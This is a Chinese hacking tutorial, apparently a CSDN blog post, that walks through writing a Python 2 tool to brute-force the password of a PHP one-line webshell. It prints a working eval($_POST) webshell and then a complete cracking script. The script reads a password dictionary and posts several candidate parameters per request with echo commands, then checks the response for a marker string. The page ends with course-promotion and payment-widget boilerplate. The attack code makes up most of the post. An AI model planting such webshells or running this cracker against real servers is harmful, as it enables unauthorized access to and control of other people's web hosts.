【PyHacker编写指南】爆破一句话密码

使用Python编写一句话密码爆破工具,解脱双手。

编写环境:Python2.x


00x1:

需要用到的模块如下:

import requests

00x2:

首先我们了解一下一句话木马,一般post传递参数

一个简单的php一句话木马

<?php
eval($\_POST\['x'\])
?>
先测试一下连接

图片

OK,没问题,我们用浏览器打开传参看一下

图片

由此可以看到密码为x,变量提交能匹配上即执行echo语句

这时我猜大家都有了思路,构造post请求即可

00x3:

这里我们可以利用网址特性提交多个参数

图片

这样可以提高爆破效率

分析完成,下面我们开始进行写脚本

00x4:

简单爆破shell密码,shell为字典

#!/usr/bin/python
#-\*- coding:utf-8 -\*-
import requests

def req(url,s):
    global html
    data = {s:'echo xc666;'}
    req = requests.post(url,data=data)
    html = req.content

shell = \['z','y','x'\]
for s in shell:
    req('http://127.0.0.1/shell.php',s)
    if 'xc666' in html:
        print "\[+\]Find password",s
        break

图片

00x5:

下面我们按我们刚才说的,一次多个参数,增加效率

首先整理一下字典

data = {s:'echo %s;'%s,ss:'echo %s;'%ss}

shell = \[\]
def shelllist():
    f = open('shell.txt','r')
    for x in f.readlines(): #去除换行等字符
        x = x.strip()
        shell.append(x)
    print u"shell密码个数为:",len(shell)

for i in range(0,len(shell),2): #分割列表
    b=shell\[i:i+2\]
    print b

图片

我们一次性提交两个参数测试一下

def main():
    shelllist()
    for i in range(0,len(shell),2): #分割列表
        b=shell\[i:i+2\]
        req('http://127.0.0.1/shell.php',b\[0\],b\[1\])
        if b\[0\] in html:
            print "\[+\]Find password",b\[0\]
            break
        elif b\[1\] in html:
            print "\[+\]Find password", b\[1\]
            break
main()

测试一下,一次执行两个密码

图片

00x6:

完整代码:

一次爆破5次密码,可自行调整

#!/usr/bin/python
#-\*- coding:utf-8 -\*-
import requests

def req(url,s,ss,sss,ssss,sssss):
    global html
    data = {s:'echo xc666%s;'%s,
            ss:'echo xc666%s;'%ss,
            sss:'echo xc666%s;'%sss,
            ssss:'echo xc666%s;'%ssss,
            sssss:'echo xc666%s;'%sssss,}
    req = requests.post(url,data=data)
    html = req.content
    print req.url,s,ss,sss,ssss,sssss

shell = \[\]
def shelllist():
    f = open('shell.txt','r')
    for x in f.readlines(): #去除换行等字符
        x = x.strip()
        shell.append(x)
    print u"\\nshell密码个数为:",len(shell)

def main():
    shelllist()
    url = raw\_input('\\nshell url:')
    if 'http' not in url:
        url = 'http://'+url
    for i in range(0,len(shell),5): #分割列表
        b=shell\[i:i+5\]
        req(url,b\[0\],b\[1\],b\[2\],b\[3\],b\[4\])
        if "xc666%s"%b\[0\] in html:
            print "\\n\[+\]Find password",b\[0\]
            break
        elif "xc666%s"%b\[1\] in html:
            print "\\n\[+\]Find password", b\[1\]
            break
        elif "xc666%s"%b\[2\] in html:
            print "\\n\[+\]Find password",b\[2\]
            break
        elif "xc666%s"%b\[3\] in html:
            print "\\n\[+\]Find password", b\[3\]
            break
        elif "xc666%s"%b\[4\] in html:
            print "\\n\[+\]Find password", b\[4\]
            break
if \_\_name\_\_ == '\_\_main\_\_':
    main()

网安零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值